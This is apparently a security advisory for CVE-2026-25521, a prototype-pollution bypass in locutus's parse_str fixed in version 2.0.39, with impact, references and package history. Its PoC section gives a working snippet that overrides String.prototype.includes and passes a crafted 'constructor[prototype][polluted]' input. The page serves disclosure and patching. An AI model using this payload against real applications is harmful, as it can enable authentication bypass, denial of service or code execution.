locutus is vulnerable to Prototype Pollution
Summary
A Prototype Pollution vulnerability exists in the the npm package locutus (>2.0.12). Despite a previous fix that attempted to mitigate Prototype Pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue was fixed in version 2.0.39.
Details
The vulnerability resides in line 77 to 79 of https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js where includes() function is used to check whether user provided input contain forbidden strings.
PoC
Steps to reproduce
- Install latest version of locutus using npm install or cloning from git
- Run the following code snippet:
String.prototype.includes = () => false;
console.log({}.polluted);
const locutus = require('locutus');
locutus.php.strings.parse_str('constructor[prototype][polluted]=yes');
console.log({}.polluted); // prints yes -> indicating that the patch was bypassed and Prototype Pollution occurredExpected behavior
Prototype Pollution should be prevented and {} should not gain new properties. This should be printed on the console:
undefined
undefined OR throw an ErrorActual behavior
Object.prototype is polluted This is printed on the console:
undefined
yesImpact
This is a Prototype Pollution vulnerability, which can have severe security implications depending on how locutus is used by downstream applications. Any application that processes attacker-controlled input using this locutus.php.strings.parse_str may be affected. It could potentially lead to the following problems:
- Authentication bypass
- Denial of service
- Remote code execution (if polluted property is passed to sinks like eval or child_process)
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | locutus | >= 2.0.12, < 2.0.39 | 2.0.39 |
Referencias
- https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh
- https://nvd.nist.gov/vuln/detail/CVE-2026-25521
- https://github.com/locutusjs/locutus/commit/042af9ca7fde2ff599120783e720a17f335bb01c
- https://access.redhat.com/security/cve/CVE-2026-25521
- https://bugzilla.redhat.com/show_bug.cgi?id=2436950
- https://github.com/locutusjs/locutus
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25521.json
- Vector CVSS
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H- Debilidad (CWE)
CWE-1321, CWE-915- Plataforma
- npm
- Paquete
locutus- Publicada
- 02.02.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-rxrv-835q-v5mh - CC BY 4.0
Historial de vulnerabilidades: locutus
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 8
- Primera → última
- 05.2021 03.2026
- Sin corrección
- 1
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 4
- Alta 2
- Media 2
Divulgaciones por año
- 2021: 3
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 5
-
locutus is vulnerable to Prototype Pollution esta entrada
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